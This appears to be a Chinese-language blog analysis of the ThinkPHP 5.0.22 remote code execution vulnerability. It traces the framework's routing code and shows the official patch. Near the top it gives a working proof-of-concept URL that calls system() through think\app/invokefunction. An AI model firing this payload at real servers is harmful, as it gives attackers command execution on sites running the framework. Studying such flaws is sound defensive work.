雖然網上已經有幾篇公開的漏洞分析文章,但都是針對5.1版本的,而且看起來都比較抽象;我沒有深入分析5.1版本,但看了下網上分析5.1版本漏洞的文章,發現雖然POC都是一樣的,但它們的漏洞觸發原因是不同的。本文分析5.0.22版本的遠程代碼執行漏洞,分析過程如下:
(1)漏洞復現
環境php5.5.38+apache。
POC:http://172.19.77.44/thinkphp_5.0.22_with_extend/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
(2)漏洞分析
看下應用入口文件.\thinkphp_5.0.22_with_extend\public\index.php
1 // 定義應用目錄 2 define('APP_PATH', __DIR__ . '/../application/'); 3 // 加載框架引導文件 4 require __DIR__ . '/../thinkphp/start.php';
跟進/../thinkphp/start.php
1 namespace think; 2 3 // ThinkPHP 引導文件 4 // 1. 加載基礎文件 5 require __DIR__ . '/base.php'; 6 7 // 2. 執行應用 8 App::run()->send();
第8行中的App::run相當於think/App:run,跟進.\thinkphp_5.0.22_with_extend\thinkphp\library\think\App.php的run函數
1 public static function run(Request $request = null) 2 { 3 4 $request = is_null($request) ? Request::instance() : $request; 5 6 try { 7 $config = self::initCommon(); 8 9 // 模塊/控制器綁定 10 if (defined('BIND_MODULE')) { 11 BIND_MODULE && Route::bind(BIND_MODULE); 12 } elseif ($config['auto_bind_module']) { 13 .........................
此時進入run函數,因為漏洞POC與框架的url處理有關,所以直接跟到URL路由檢測函數,關鍵代碼如下:
1 // 監聽 app_dispatch 2 Hook::listen('app_dispatch', self::$dispatch); 3 // 獲取應用調度信息 4 $dispatch = self::$dispatch; 5 6 // 未設置調度信息則進行 URL 路由檢測 7 if (empty($dispatch)) { 8 $dispatch = self::routeCheck($request, $config); 9 } 10 //var_dump($dispatch['module']);
因上述代碼中的第7行的變量$dispatch為空,所以進入第8行的routeCheck函數,跟入到此函數,關鍵代碼如下:
1 public static function routeCheck($request, array $config) 2 { 3 $path = $request->path(); 4 $depr = $config['pathinfo_depr']; 5 $result = false; 6 7 // 路由檢測 8 $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; 9 if ($check) { 10 // 開啟路由 11 if (is_file(RUNTIME_PATH . 'route.php')) { 12 // 讀取路由緩存 13 $rules = include RUNTIME_PATH . 'route.php'; 14 is_array($rules) && Route::rules($rules);
上述代碼中第3行代碼得到POC中的路徑,路徑變量$path為index/think\app/invokefunction,POC中剩余變量存儲在$_GET中,繼續往下跟routeCheck函數,關鍵代碼如下:
1 // 路由檢測(根據路由定義返回不同的URL調度) 2 $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); 3 $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; 4 5 if ($must && false === $result) { 6 // 路由無效 7 throw new RouteNotFoundException(); 8 } 9 } 10 11 // 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索 12 if (false === $result) { 13 $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); 14 } 15 // var_dump($result['module']); 16 return $result; 17 } 18 19 /**
上述代碼中因變量$result為假,所以會進入第13行代碼的Route::parseUrl函數,此函數用來解析變量$path(index/think\app/invokefunction),跟進到此函數,關鍵代碼如下:
1 public static function parseUrl($url, $depr = '/', $autoSearch = false) 2 { 3 4 if (isset(self::$bind['module'])) { 5 $bind = str_replace('/', $depr, self::$bind['module']); 6 // 如果有模塊/控制器綁定 7 $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); 8 } 9 $url = str_replace($depr, '|', $url); 10 list($path, $var) = self::parseUrlPath($url); 11 $route = [null, null, null]; 12 if (isset($path)) { 13 // 解析模塊 14 $module = Config::get('app_multi_module') ? array_shift($path) : null; 15 if ($autoSearch) { 16 // 自動搜索控制器
上述代碼的第9行會將變量$url中的符號'/'替換為'|',接着會進入第10行的parseUrlPath函數,關鍵代碼如下:
1 private static function parseUrlPath($url) 2 { 3 // 分隔符替換 確保路由定義使用統一的分隔符 4 $url = str_replace('|', '/', $url); 5 $url = trim($url, '/'); 6 $var = []; 7 if (false !== strpos($url, '?')) { 8 // [模塊/控制器/操作?]參數1=值1&參數2=值2... 9 $info = parse_url($url); 10 $path = explode('/', $info['path']); 11 parse_str($info['query'], $var); 12 } elseif (strpos($url, '/')) { 13 // [模塊/控制器/操作] 14 $path = explode('/', $url); 15 } else { 16 $path = [$url]; 17 } 18 return [$path, $var]; 19 }
跟到上述代碼中的第13行,它會將變量$url變為數組,此時$path數組的值為如下圖所示
此時重新返回到parseUrl函數,繼續往下跟,跟到解析控制器部分,關鍵代碼如下:
1 } else { 2 // 解析控制器 3 $controller = !empty($path) ? array_shift($path) : null; 4 } 5 // 解析操作 6 $action = !empty($path) ? array_shift($path) : null; 7 // 解析額外參數 8 self::parseUrlParams(empty($path) ? '' : implode('|', $path)); 9 // 封裝路由 10 $route = [$module, $controller, $action]; 11 // 檢查地址是否被定義過路由 12 $name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action); 13 $name2 = ''; 14 if (empty($module) || isset($bind) && $module == $bind) { 15 $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action); 16 } 17 18 if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) { 19 throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url)); 20 } 21 } 22 return ['type' => 'module', 'module' => $route];
上述代碼中第3行、第6行會得到控制器和操作方法等,然后會封裝路由,數組變量$route如下圖所示:
上述代碼中第22行代碼后會以數組的形式返回到routeCheck函數,關鍵代碼如下:
1 // 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索 2 if (false === $result) { 3 $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); 4 } 5 // var_dump($result['module']); 6 return $result; 7 }
上述代碼中由第3行的數組變量$result接受返回的數據,第6行再將數組變量$result結果返回到run函數中,關鍵代碼如下:
1 if (empty($dispatch)) { 2 $dispatch = self::routeCheck($request, $config); 3 } 4 //var_dump($dispatch['module']); 5 // 記錄當前調度信息 6 $request->dispatch($dispatch); 7 8 // 記錄路由和請求信息 9 if (self::$debug) { 10 Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); 11 Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); 12 Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); 13 } 14 15 // 監聽 app_begin 16 Hook::listen('app_begin', $dispatch); 17 18 // 請求緩存檢查 19 $request->cache( 20 $config['request_cache'], 21 $config['request_cache_expire'], 22 $config['request_cache_except'] 23 ); 24 25 $data = self::exec($dispatch, $config); 26 } catch (HttpResponseException $exception) { 27 $data = $exception->getResponse(); 28 }
上述代碼中第2行的變量$dispatch接受返回的數組變量$result的值,$dispatch結果如下圖所示:
繼續跟到上述代碼中的第25行的exec函數,它是用來做執行操作的,關鍵代碼如下:
1 protected static function exec($dispatch, $config) 2 { 3 switch ($dispatch['type']) { 4 case 'redirect': // 重定向跳轉 5 $data = Response::create($dispatch['url'], 'redirect') 6 ->code($dispatch['status']); 7 break; 8 case 'module': // 模塊/控制器/操作 9 $data = self::module( 10 $dispatch['module'], 11 $config, 12 isset($dispatch['convert']) ? $dispatch['convert'] : null 13 );
上述代碼中因第3行的$dispatch['type']為module,所以會跳到第8行,跟進module函數,關鍵代碼如下:
1 public static function module($result, $config, $convert = null) 2 { 3 if (is_string($result)) { 4 $result = explode('/', $result); 5 } 6 7 $request = Request::instance(); 8 9 if ($config['app_multi_module']) {
上述代碼中數組變量$result的值如下圖所示:
繼續跟進module函數,關鍵代碼如下:
1 // 是否自動轉換控制器和操作名 2 $convert = is_bool($convert) ? $convert : $config['url_convert']; 3 4 // 獲取控制器名 5 $controller = strip_tags($result[1] ?: $config['default_controller']);
//官方給的補丁位置
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
} 6 $controller = $convert ? strtolower($controller) : $controller; 7 8 // 獲取操作名 9 $actionName = strip_tags($result[2] ?: $config['default_action']); 10 if (!empty($config['action_convert'])) { 11 $actionName = Loader::parseName($actionName, 1); 12 } else { 13 $actionName = $convert ? strtolower($actionName) : $actionName; 14 }
其中第5行的變量$controller代表控制器名,它就是數組變量$result的第二個元素的值(think\app),上述代碼中標紅部分正是官方給出的補丁,它對控制器名加了一個驗證。繼續往下跟,關鍵代碼如下:
1 $actionName = $convert ? strtolower($actionName) : $actionName; 2 } 3 4 // 設置當前請求的控制器、操作 5 $request->controller(Loader::parseName($controller, 1))->action($actionName); 6 7 // 監聽module_init 8 Hook::listen('module_init', $request);
上述代碼第5行會設置請求的控制器和操作,操作名變量$actionName為invokefunction,繼續往下跟module函數,關鍵代碼如下:
1 $vars = []; 2 if (is_callable([$instance, $action])) { 3 // 執行操作方法 4 $call = [$instance, $action]; 5 // 嚴格獲取當前操作方法名 6 $reflect = new \ReflectionMethod($instance, $action); 7 $methodName = $reflect->getName(); 8 $suffix = $config['action_suffix']; 9 $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; 10 $request->action($actionName); 11 12 } elseif (is_callable([$instance, '_empty'])) {
上述代碼中的第2行is_callable因驗證think\app中存在invokefunction方法,所以會進入到這個if語句,第6行代碼會獲取類名和方法名,繼續跟到module函數末尾,代碼如下:
1 } 2 3 Hook::listen('action_begin', $call); 4 5 return self::invokeMethod($call, $vars); 6 }
上述代碼的第5行會調用invokeMethod函數,變量$var為空,變量$call的值如下圖所示:
跟入invokeMethod函數,關鍵代碼如下:
1 public static function invokeMethod($method, $vars = []) 2 { 3 if (is_array($method)) { 4 $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); 5 $reflect = new \ReflectionMethod($class, $method[1]); 6 } else { 7 // 靜態方法 8 $reflect = new \ReflectionMethod($method); 9 } 10 11 $args = self::bindParams($reflect, $vars); 12 13 self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); 14 15 return $reflect->invokeArgs(isset($class) ? $class : null, $args); 16 }
上述代碼的第11行數組變量$args會獲取POC中的余下的參數function=call_user_func_array&vars[0]=system&vars[1][]=whoami的值,結果如下圖所示:
上述代碼中的第15行會調用invokeArgs函數,此函數的作用是使用數組方法給函數傳遞參數,並執行函數,所以最終執行call_user_func_array函數。此時會返回到exec函數,關鍵代碼如下:
1 protected static function exec($dispatch, $config) 2 { 3 switch ($dispatch['type']) { 4 case 'redirect': // 重定向跳轉 5 $data = Response::create($dispatch['url'], 'redirect') 6 ->code($dispatch['status']); 7 break; 8 case 'module': // 模塊/控制器/操作 9 $data = self::module( 10 $dispatch['module'], 11 $config, 12 isset($dispatch['convert']) ? $dispatch['convert'] : null 13 ); 14 break; 15 case 'controller': // 執行控制器操作
上述代碼中的第5行的變量$data會接受最后的執行數據的值,結果如下圖所示,看以看到命令已經執行成功了。
(3)小結
后面的執行細節就不跟了,以上就是版本5.0.22漏洞的分析過程,此漏洞產生的關鍵原因在routeCheck函數中,關鍵代碼如下:
1 // 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索 2 if (false === $result) { 3 $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); 4 } 5 // var_dump($result['module']); 6 return $result; 7 }
上述代碼中第3行的Route::parseUrl函數只是簡單的將變量$path=index/think\app/invokefunction按斜杠符號'/'分組,並沒有考慮符號反斜杠'\'的情況,$result的值為如下如所示:
最終導致傳入exec函數的控制器為think\app,而最后通過$reflect->invokeArgs(isset($class) ? $class : null, $args)來解析類和參數,從而導致命令執行漏洞。
正在學習中,分析不當之處還請指正。